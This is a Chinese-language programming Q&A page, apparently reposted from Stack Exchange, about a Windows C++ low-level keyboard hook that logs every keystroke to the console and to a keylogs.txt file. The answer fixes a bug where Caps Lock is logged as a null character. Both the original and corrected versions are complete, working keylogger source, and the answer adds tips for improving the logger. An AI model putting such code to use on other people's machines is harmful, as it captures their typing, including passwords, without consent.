You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

低级键盘钩子将Caps Lock记录为空字符的问题解决求助

解决低级键盘钩子记录Caps Lock时产生空字符的问题

问题描述

使用Low Level Keyboard Hook(低级键盘钩子)将按键记录到.txt文件时,每次按下Caps Lock开启大写状态,文件中会被记录一个空字符——VSCode中显示为红色小框内的“null”,记事本中显示为空白空格。推测是Caps Lock的虚拟键被映射为空字符,其余功能正常,需要阻止该空白空格生成。

原始代码

#include <fstream>
#include <ctype.h>
#include <windows.h>

LRESULT CALLBACK kybHP(int nCode, WPARAM wParam, LPARAM lParam){
    KBDLLHOOKSTRUCT *lPp = reinterpret_cast<KBDLLHOOKSTRUCT *>(lParam);
    switch (wParam){
    case WM_KEYDOWN:
        // If the shift key is being pressed, cout normally which by default is in UPPERCASE.
        if (GetAsyncKeyState(VK_SHIFT) & 0x8000){
            char key = MapVirtualKey(lPp ->vkCode, MAPVK_VK_TO_CHAR);
            std::ofstream logs;
            std::cout<<key;
            logs.open("keylogs.txt", std::ios_base::app);
            logs<<key;
            logs.close();        
        }
        //If Caps Lock is ON, cout normally which by default is in UPPERCASE.
        else if (GetKeyState(VK_CAPITAL) == 1){
            char key = MapVirtualKey(lPp ->vkCode, MAPVK_VK_TO_CHAR);
            std::ofstream logs;
            std::cout<<key;
            logs.open("keylogs.txt", std::ios_base::app);
            logs<<key;
            logs.close(); 
        }
        else if (lPp->vkCode == VK_BACK){
            std::cout<<"[BACK]";
            std::ofstream logs;
            logs.open("keylogs.txt", std::ios_base::app);
            logs<<"[BACK]";
            logs.close();
        }
        //If the shift key isn't pressed, cout in lowercase; this is accomplished by using the tolower function.
        else{
            char key = MapVirtualKey(lPp ->vkCode, MAPVK_VK_TO_CHAR);
            char lowerkey = std::tolower(key);
            std::ofstream logs;
            std::cout<<lowerkey;
            logs.open("keylogs.txt", std::ios_base::app);
            logs<<lowerkey;
            logs.close();
        }
    break;
    }
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}


int main(){
    HHOOK keyboard = SetWindowsHookEx(WH_KEYBOARD_LL, &kybHP, 0, 0);

    MSG message;
    while (GetMessage(&message, NULL, NULL, NULL) > 0){
        TranslateMessage(&message);
        DispatchMessage(&message);
    }
    UnhookWindowsHookEx(keyboard);
    return 0;
}

解决方法

问题根源是Caps Lock按键(虚拟键值VK_CAPITAL)通过MapVirtualKey映射后得到的是空字符,所以在处理按键时,需要先判断当前按下的是否是Caps Lock,若是则直接跳过记录逻辑。

修改后的代码如下:

#include <fstream>
#include <ctype.h>
#include <windows.h>

LRESULT CALLBACK kybHP(int nCode, WPARAM wParam, LPARAM lParam){
    KBDLLHOOKSTRUCT *lPp = reinterpret_cast<KBDLLHOOKSTRUCT *>(lParam);
    switch (wParam){
    case WM_KEYDOWN:
        // 跳过Caps Lock按键的记录,避免生成空字符
        if (lPp->vkCode == VK_CAPITAL) {
            break;
        }

        // If the shift key is being pressed, cout normally which by default is in UPPERCASE.
        if (GetAsyncKeyState(VK_SHIFT) & 0x8000){
            char key = MapVirtualKey(lPp ->vkCode, MAPVK_VK_TO_CHAR);
            std::ofstream logs;
            std::cout<<key;
            logs.open("keylogs.txt", std::ios_base::app);
            logs<<key;
            logs.close();        
        }
        //If Caps Lock is ON, cout normally which by default is in UPPERCASE.
        else if (GetKeyState(VK_CAPITAL) == 1){
            char key = MapVirtualKey(lPp ->vkCode, MAPVK_VK_TO_CHAR);
            std::ofstream logs;
            std::cout<<key;
            logs.open("keylogs.txt", std::ios_base::app);
            logs<<key;
            logs.close(); 
        }
        else if (lPp->vkCode == VK_BACK){
            std::cout<<"[BACK]";
            std::ofstream logs;
            logs.open("keylogs.txt", std::ios_base::app);
            logs<<"[BACK]";
            logs.close();
        }
        //If the shift key isn't pressed, cout in lowercase; this is accomplished by using the tolower function.
        else{
            char key = MapVirtualKey(lPp ->vkCode, MAPVK_VK_TO_CHAR);
            char lowerkey = std::tolower(key);
            std::ofstream logs;
            std::cout<<lowerkey;
            logs.open("keylogs.txt", std::ios_base::app);
            logs<<lowerkey;
            logs.close();
        }
    break;
    }
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}


int main(){
    HHOOK keyboard = SetWindowsHookEx(WH_KEYBOARD_LL, &kybHP, 0, 0);

    MSG message;
    while (GetMessage(&message, NULL, NULL, NULL) > 0){
        TranslateMessage(&message);
        DispatchMessage(&message);
    }
    UnhookWindowsHookEx(keyboard);
    return 0;
}

关键修改点

在case WM_KEYDOWN的最开头添加判断:

// 跳过Caps Lock按键的记录,避免生成空字符
if (lPp->vkCode == VK_CAPITAL) {
    break;
}

这样当检测到Caps Lock按下时,直接跳出当前分支,不会执行后续的字符映射和文件写入操作,也就不会生成空字符。

额外优化建议

  • 每次记录都打开关闭文件会影响性能,建议将文件流声明为全局变量,或者在钩子函数外初始化后保持打开状态,避免频繁IO操作。
  • 可以扩展过滤其他不需要记录的系统按键(如Ctrl、Alt等),同样通过判断虚拟键值跳过。

内容的提问来源于stack exchange,提问作者Joy

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.06 05:35:35